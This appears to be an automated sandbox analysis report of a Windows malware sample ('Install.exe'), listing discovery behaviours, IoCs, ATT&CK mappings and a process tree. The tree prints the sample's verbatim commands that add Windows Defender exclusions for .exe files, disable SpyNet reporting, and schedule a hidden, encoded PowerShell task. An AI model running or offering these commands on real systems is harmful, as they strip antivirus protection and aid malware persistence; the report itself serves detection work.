eab0692ed18990dcce2776eb44e8222a84fef4add05f14e147cccd6fb75a2676

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	Install.exe

Executes dropped EXE 2 IoCs

pid	Process
3388	Install.exe
3672	Install.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4508	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 3336 wrote to memory of 3388	3336	file.exe	86
PID 3336 wrote to memory of 3388	3336	file.exe	86
PID 3336 wrote to memory of 3388	3336	file.exe	86
PID 3388 wrote to memory of 3672	3388	Install.exe	88
PID 3388 wrote to memory of 3672	3388	Install.exe	88
PID 3388 wrote to memory of 3672	3388	Install.exe	88
PID 3672 wrote to memory of 2904	3672	Install.exe	95
PID 3672 wrote to memory of 2904	3672	Install.exe	95
PID 3672 wrote to memory of 2904	3672	Install.exe	95
PID 3672 wrote to memory of 2100	3672	Install.exe	97
PID 3672 wrote to memory of 2100	3672	Install.exe	97
PID 3672 wrote to memory of 2100	3672	Install.exe	97
PID 2100 wrote to memory of 4016	2100	forfiles.exe	99
PID 2100 wrote to memory of 4016	2100	forfiles.exe	99
PID 2100 wrote to memory of 4016	2100	forfiles.exe	99
PID 2904 wrote to memory of 1568	2904	forfiles.exe	100
PID 2904 wrote to memory of 1568	2904	forfiles.exe	100
PID 2904 wrote to memory of 1568	2904	forfiles.exe	100
PID 1568 wrote to memory of 2628	1568	cmd.exe	102
PID 1568 wrote to memory of 2628	1568	cmd.exe	102
PID 1568 wrote to memory of 2628	1568	cmd.exe	102
PID 4016 wrote to memory of 1016	4016	cmd.exe	101
PID 4016 wrote to memory of 1016	4016	cmd.exe	101
PID 4016 wrote to memory of 1016	4016	cmd.exe	101
PID 4016 wrote to memory of 4808	4016	cmd.exe	103
PID 4016 wrote to memory of 4808	4016	cmd.exe	103
PID 4016 wrote to memory of 4808	4016	cmd.exe	103
PID 1568 wrote to memory of 64	1568	cmd.exe	104
PID 1568 wrote to memory of 64	1568	cmd.exe	104
PID 1568 wrote to memory of 64	1568	cmd.exe	104
PID 3672 wrote to memory of 4508	3672	Install.exe	108
PID 3672 wrote to memory of 4508	3672	Install.exe	108
PID 3672 wrote to memory of 4508	3672	Install.exe	108
PID 3672 wrote to memory of 3364	3672	Install.exe	110
PID 3672 wrote to memory of 3364	3672	Install.exe	110
PID 3672 wrote to memory of 3364	3672	Install.exe	110

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3336
- C:\Users\Admin\AppData\Local\Temp\7zS52BF.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Users\Admin\AppData\Local\Temp\7zS55CC.tmp\Install.exe
    .\Install.exe /GdidPr "525403" /S
    3⤵
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:3672
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2904
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1568
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:2628
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:64
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2100
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4016
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1016
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:4808
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gtKfMGaXB" /SC once /ST 11:44:15 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:4508
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gtKfMGaXB"
      4⤵
      PID:3364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:3888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery